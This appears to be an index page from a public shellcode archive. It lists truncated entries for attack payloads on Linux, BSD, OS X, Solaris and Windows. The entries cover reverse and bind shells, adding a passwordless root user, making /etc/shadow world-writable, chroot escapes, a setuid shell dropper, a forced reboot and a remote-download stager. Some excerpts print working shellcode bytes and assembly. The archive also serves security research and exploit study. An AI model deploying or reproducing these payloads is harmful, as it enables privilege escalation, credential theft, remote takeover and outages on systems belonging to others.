OSX/PPC - Stager Sock Reverse Shellcode

OSX/PPC - Stager Sock Reverse Shellcode. Shellcode exploit for OSXPPC platform. Tags: Metasploit Framework MSF ;; ; ; Name: stagersockreversenf.asm ; Qualities: Null-Free ; Platforms: MacOS X / PPC ; Authors: H D Moore ; Version: $Revision: 1.1 $ ; License: ; ; This file is part of the Metasploit...

Windows/x86 (XP SP3) (Turkish) - cmd.exe Shellcode (52 bytes)

Windows/x86 XP SP3 Turkish - cmd.exe Shellcode 52 bytes. Shellcode exploit for Windowsx86 platform. Tags: Metasploit Framework MSF Title : win32/xp sp3 Tr cmd.exe Shellcode 52 bytes Proof : http://img59.imageshack.us/img59/6499/proofc.png Author : ZoRLu / http://inj3ct0r.com/author/577 mail-msn :...

Linux/x86 - Add Root User (w000t) + No Password Shellcode (177 bytes)

Linux/x86 - Add Root User w000t + No Password Shellcode 177 bytes. Shellcode exploit for Linuxx86 platform Linux x86 shellcode that uses execve and echo to create a passwordless root account. Author: zillion Email : [email protected] Homepage: safemode.org File: w000t-shell.c / This shellcode...

Linux/StrongARM - setuid() Shellcode (20 bytes)

Linux/StrongARM - setuid Shellcode 20 bytes. Shellcode exploit for ARM platform / 20 byte StrongARM/Linux setuid shellcode funkysh / char shellcode= "\x02\x20\x42\xe0" / sub r2, r2, r2 / "\x04\x10\x8f\xe2" / add r1, pc, 4 / "\x12\x02\xa0\xe1" / mov r0, r2, lsl r2 / "\x01\x20\xc1\xe5" / strb r2, r...

Windows/x86 (XP SP3) (Turkish) - MessageBoxA Shellcode (109 bytes)

Windows/x86 XP SP3 Turkish - MessageBoxA Shellcode 109 bytes. Shellcode exploit for Windowsx86 platform. Tags: Metasploit Framework MSF Title : win32/xp sp3 Tr MessageBoxA Shellcode 109 bytes Proof : http://img443.imageshack.us/img443/7900/proofaz.jpg Author : ZoRLu mail-msn :...

Solaris/SPARC - Bind TCP (2001/TCP) Shell (/bin/sh) Shellcode

Solaris/SPARC - Bind TCP 2001/TCP Shell /bin/sh Shellcode. Shellcode exploit for SolarisSPARC platform !!! $Id: sparc-bind.s,v 1.1 2003/03/01 01:10:51 ghandi Exp $ !!! Bind /bin/sh to TCP port 2001. Calls setuid0 so /bin/sh won't !!! drop privileges. After assembly, change the third byte in the !...

FreeBSD/x86-64 - execve(/bin/sh) Shellcode (28 bytes)

FreeBSD/x86-64 - execve/bin/sh Shellcode 28 bytes. Shellcode exploit for FreeBSDx86-64 platform / Gitsnik, @dracyrys FreeBSD x8664 execve, 28 bytes / C source: char code = \ "\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb" "\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53" "\x54\x5f\x52\x57\x54\x5e\x0f\x05";...

Linux/StrongARM - execve(/bin/sh) Shellcode (47 bytes)

Linux/StrongARM - execve/bin/sh Shellcode 47 bytes. Shellcode exploit for ARM platform / 47 byte StrongARM/Linux execve shellcode funkysh / char shellcode= "\x02\x20\x42\xe0" / sub r2, r2, r2 / "\x1c\x30\x8f\xe2" / add r3, pc, 28 0x1c / "\x04\x30\x8d\xe5" / str r3, sp, 4 / "\x08\x20\x8d\xe5" / st...

Linux/x86 - Stager Reads Second Stage From STDIN Shellcode (14 bytes)

Linux/x86 - Stager Reads Second Stage From STDIN Shellcode 14 bytes. Shellcode exploit for Linuxx86 platform / linux/x86 stagger that reads second stage shellcode 127 bytes maximum from stdin - 14 bytes fkz / twitter: @fkz sc = "\x6A\x7F\x5A\x54\x59\x31\xDB\x6A\x03\x58\xCD\x80\x51\xC3" Example of...

Linux/x86 - setuid(0) + execve("/bin/sh",0,0) Shellcode (28 bytes)

Linux/x86 - setuid0 + execve"/bin/sh",0,0 Shellcode 28 bytes. Shellcode exploit for Linuxx86 platform / linux/x86 setuid0 & execve"/bin/sh",0,0 28 bytes http://www.gonullyourself.org sToRm I made this, because http://www.milw0rm.com/shellcode/7115 felt the need to express his "superior" 28-byte...

BSD/x86 - setuid(0) + Break chroot (../ 10x Loop) Shellcode (34 bytes)

BSD/x86 - setuid0 + Break chroot ../ 10x Loop Shellcode 34 bytes. Shellcode exploit for BSDx86 platform / The setuid0+chroot shellcode. It is the one of the smallest shellcodes in the !!world!! it will put '../' 10 times Size 34 bytes OS BSD /rootteam/dev0id rootteam.void.ru [email protected]...

Linux/x86 - setuid(0) + chmod(/etc/shadow, 0666) Shellcode (37 bytes)

Linux/x86 - setuid0 + chmod/etc/shadow, 0666 Shellcode 37 bytes. Shellcode exploit for Linuxx86 platform / Title: linux/x86 setuid0 + chmod"/etc/shadow", 0666 Shellcode 37 Bytes Type: Shellcode Author: antrhacks Platform: Linux X86 / / ASSembly 31 db xor %ebx,%ebx b0 17 mov $0x17,%al cd 80 int...

BSD/x86 - setuid(0) + Break chroot (../ 10x Loop) + execute /bin/sh Shellcode (57 bytes)

BSD/x86 - setuid0 + Break chroot ../ 10x Loop + execute /bin/sh Shellcode 57 bytes. Shellcode exploit for BSDx86 platform / The setuid0+chroot+execve shellcode it will: setuid0 put '../' 10 times in chroot execute /bin/sh Size 57 bytes OS BSD /rootteam/dev0id rootteam.void.ru [email protected]...

FreeBSD/x86 - reboot() Shellcode (15 bytes)

FreeBSD/x86 - reboot Shellcode 15 bytes. Shellcode exploit for FreeBSDx86 platform / FreeBSD reboot shellcode This will halt a system, which takes it offline until someone reboots it. Written by zillion at safemode.org / char shellcode =...

Linux/x86-64 - Reverse TCP (127.0.0.1:1337/TCP) Netcat (/bin/nc) Shell (/bin/sh) Shellcode (109 bytes)

Linux/x86-64 - Reverse TCP 127.0.0.1:1337/TCP Netcat /bin/nc Shell /bin/sh Shellcode 109 bytes. Shellcode exploit for Linuxx86-64 platform ; Title: Shellcode linux/x86-64 connect back shell ; Author : Gaussillusion ; Len : 109 bytes ; Language : Nasm ;syscall:...

OSX/x86 - execve(/bin/sh) Shellcode (24 bytes)

OSX/x86 - execve/bin/sh Shellcode 24 bytes. Shellcode exploit for OSX platform / Title : OSX/x86 intel - execve/bin/sh - 24 bytes Type : Shellcode Author : Simon Derouineau - simon.derouineau AT ingesup.com Platform : Mac OSX/Intel. Tested on 10.6.4 Build 10F569 Informations : This code has to be...

Linux/x86 - fork() + setreuid(0, 0) + execve(cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh) Shellcode (126 bytes)

Linux/x86 - fork + setreuid0, 0 + execvecp /bin/sh /tmp/sh; chmod 4755 /tmp/sh Shellcode 126 bytes. Shellcode exploit for Linuxx86 platform / linux/x86 shamelessly ripped from one of my unpublished exploits / / fork's, does setreuid0, 0; then execve's: /bin/sh -c "cp /bin/sh /tmp/sh; chmod 4755...

Linux/x86 - shift-bit execve() Encoder Shellcode (114 bytes)

Linux/x86 - shift-bit execve Encoder Shellcode 114 bytes. Shellcode exploit for Linuxx86 platform ;author: Shihao [email protected] ;decoding will be divided into two parts ;First, shift right to get the original shellcode with prefix "0xAA" ;Second, delete all the "0xAA" prefix and reformat...

Windows/x86 (NT/XP/2000/2003) - Bind TCP (8721/TCP) Shell Shellcode (356 bytes)

Windows/x86 NT/XP/2000/2003 - Bind TCP 8721/TCP Shell Shellcode 356 bytes. Shellcode exploit for Windowsx86 platform ; Title: Win32 Bind Shell ; Platforms: Windows NT 4.0, Windows 2000, Windows XP, Windows 2003 ; Function: Listen for connection and spawn command shell ; Author: hdmatmetasploit.co...

Linux/x86 - Remote File Download Shellcode (42 bytes)

Linux/x86 - Remote File Download Shellcode 42 bytes. Shellcode exploit for Linuxx86 platform / Title: Linux x86 - Remote file Download - 42 bytes Author: Jonathan Salwan Web: http://www.shell-storm.org Twitter: http://twitter.com/jonathansalwan !Database of Shellcodes...